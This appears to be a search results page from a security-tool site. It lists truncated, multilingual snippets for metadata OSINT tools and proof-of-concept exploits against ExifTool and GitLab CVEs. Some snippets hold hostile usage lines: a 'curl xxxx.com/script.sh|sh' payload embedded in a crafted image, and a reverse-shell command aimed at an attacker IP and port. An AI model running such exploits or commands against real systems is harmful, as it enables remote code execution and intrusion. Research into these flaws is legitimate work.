274 matches found
PowerMeta
PowerMeta PowerMeta searches for publicly available files hosted on various websites for a particular domain by using specially crafted Google, and Bing searches. It then allows for the download of those files from the target domain. After retrieving the files, the metadata associated with them c...
Metaforge
Metaforge "An OSINT tool that analyzes metadata and creates dynamic reports" https://chriswmorris.github.io/Metaforge/ Senior Design Project 2019 - By Chris Morris and Collin Mockbee A Python3 Application for Unix-based Operating Systems Note: Metaforge requires at least python version 3.5 to wor...
CVE-2021-22204
CVE-2021-22204 — Выполнение произвольного кода в ExifTool Улучшенный proof-of-concept для CVE-2021-22204 — уязвимости в ExifTool версий с 7.44 по 12.23, которая позволяет выполнять произвольный код при обработке вредоносных файлов DjVu. Авторство Это производная работа. Уязвимость и оригинальный...
CVE-2022-23935
CVE-2022-23935 Программный продукт Exiftool, в версиях до 12.38, имеет уязвимость безопасности, которая может быть использована через специально созданное имя файла. Эта уязвимость позволяет внедрение команд, при котором злоумышленник может выполнять произвольные команды в системе, добавляя симво...
exploit-CVE-2021-22204
CVE-2021-22204 ExifTool 익스플로잇 - 임의 코드 실행 이 저장소가 마음에 드시나요? ⭐를 눌러주세요! 교육 및 승인된 보안 연구 목적으로만 사용하세요. 익스플로잇 작성자 @UNICORDev 작성 @NicPWNs 및 @Dev-Yeoj 취약점 설명 ExifTool 버전 7.44 이상에서 DjVu 파일 형식의 사용자 데이터가 적절히 무력화되지 않아 악성 이미지를 구문 분석할 때 임의 코드 실행이 가능합니다. 익스플로잇 설명 이 익스플로잇을 사용하여 취약한 ExifTool 버전에서 코드 실행을 위해 사용할 수 있는...
CVE-2021-22204
Уязвимая версия 7.44 12.23 Воспроизведение root@kitploit: $ bash craftadjvuexploit.sh 'cal' $ ./exiftool delicate.jpg Скриншот Ссылка NVD-CVE-2021-22204...
CVE-2021-22204
CVE-2021-22204 Краткое описание уязвимости Некорректная санитизация пользовательских данных в формате файлов DjVu в ExifTool версий 7.44 и выше позволяет выполнять произвольный код при обработке вредоносного изображения. Затронутые версии Версии 7.44 – 12.23 Особенности Зависимости: djvulibre-bin...
CVE-2021-22205
CVE-2021-22205 Preauth RCE через exiftool на Gitlab CE/EE Описание CVE GitLab использует ExifTool для сканирования каждого tiff/jpeg/jpg файла и удаления любых тегов, которые не входят в белый список. Но поскольку ExifTool не использует расширения файлов для определения типа файла, а полагается н...
CVE-2022-23935
はじめに CVE-2022-23935 エクスプロイト PoC exiftool バージョン 12.37 インストール root@kitploit: git clone https://github.com/0xFTW/CVE-2022-23935 cd CVE-2022-23935 chmod +x CVE-2022-23935.py pip3 install pwntools 使い方 root@kitploit: ./CVE-2022-23935...
pymeta
PyMeta PyMeta — это переписанная на Python3 версия инструмента PowerMeta, созданного dafthack на PowerShell. Он использует специально сформированные поисковые запросы для поиска и загрузки следующих типов файлов pdf, xls, xlsx, csv, doc, docx, ppt, pptx с заданного домена, используя парсинг Googl...
POC-CVE-2021-22204
POC-CVE-2021-22204 https://nvd.nist.gov/vuln/detail/CVE-2021-22204 이것은 테스트를 위해 작성한 편의 스크립트입니다. 출력 root@kitploit: Usage ./buildimage.pl Note: if your cmd contains unix special characters use quote! EG: ./buildimage.pl "curl xxxx.com/script.sh|sh" This poc generates an image file notevil.jpg to be...
CVE-2021-22204
CVE-2021-22204 - Exiftool 원격 코드 실행 설명 최근 연구원 wcbowling이 Exiftool 도구에서 취약점을 발견했습니다. 이 취약점은 악의적인 공격자가 원격 코드 실행 공격을 수행할 수 있도록 합니다. 이 취약점은 GitLab 버그 바운티 프로그램에서 발견되었으며, GitLab은 이 도구를 제품의 종속성으로 사용합니다. 사용법 12번째 줄createFile.sh에 공격자 머신의 IP 주소를 입력하세요. 그런 다음 간단히 실행하세요: $ bash createFile.sh 이렇게 하면 악성 파일...
GitLab-CVE-2021-22205-scanner
GitLab-CVE-2021-22205-scanner Использование root@kitploit: $ python3 GitLab-revshell.py -u https://gitlab.target.com -l AttackerIP -p AttackerPort Благодарности https://hackerone.com/reports/1154542 Фрагмент кода взят отсюда: https://github.com/CsEnox/Gitlab-Exiftool-RCE/blob/main/exploit.py Отка...
CVE-2021-22204
ExifTool リモートコード実行脆弱性 これはCVE-2021-22204の分析記事になるはずでしたが、むしろ私のメモ帳のようなもので、多くの散らかったものが詰まっています。脆弱性分析記事としてはちょっと余計な話が多いですが、それでも多くのことを学びました。 正直なところ、このツールを使ったことは一度もなく、Perlという言語にもほとんど触れたことがありませんでした。そのため、分析や再現の過程で疑問符だらけでした。分析を始める前に、インターネットで公開されているPoCと、私が抱いた疑問を見てみましょう。 POC - convisolabs...
CVE-2021-22204-exiftool
CVE-2021-22204-exiftool Эксплоит на Python для уязвимости CVE-2021-22204 в Exiftool. Об уязвимости CVE-2021-22204 была обнаружена и сообщена Уильямом Боулингом. @wcbowling Этот эксплоит был создан путем изучения патча Exiftool после того, как CVE уже была сообщена. Предварительные требования...
dejavu
DejaVu...
POC_CVE-2026-42589
POCCVE-2026-42589 Local reproduction lab and nuclei template draft for CVE-2026-42589 affecting Gotenberg. Summary CVE-2026-42589 — это проблема удаленного выполнения кода без аутентификации в Gotenberg, вызванная инъекцией новой строки в ключ метаданных в: root@kitploit: POST...
CVE-2021-22205
CVE-2021-22205 GitLab CE/EE Preauth RCE using ExifTool This project is for learning only, if someone's rights have been violated, please contact me to remove the project, and the lastDO NOT USE IT ILLEGALLY If you have any illegal behavior in the process of using this tool, you will bear all the...
CVE-2021-22204-exiftool
CVE-2021-22204-exiftool Exiftool의 CVE-2021-22204 취약점을 위한 Python 익스플로잇입니다. 비디오 튜토리얼 Youtube root@kitploit: 404 notfound 요구 사항 root@kitploit: python3 python3-pip djvulibre-bin exiftool 요구 사항 설치 Debian root@kitploit: apt-get install djvulibre-bin libimage-exiftool-perl python-minimal python-pip Ubun...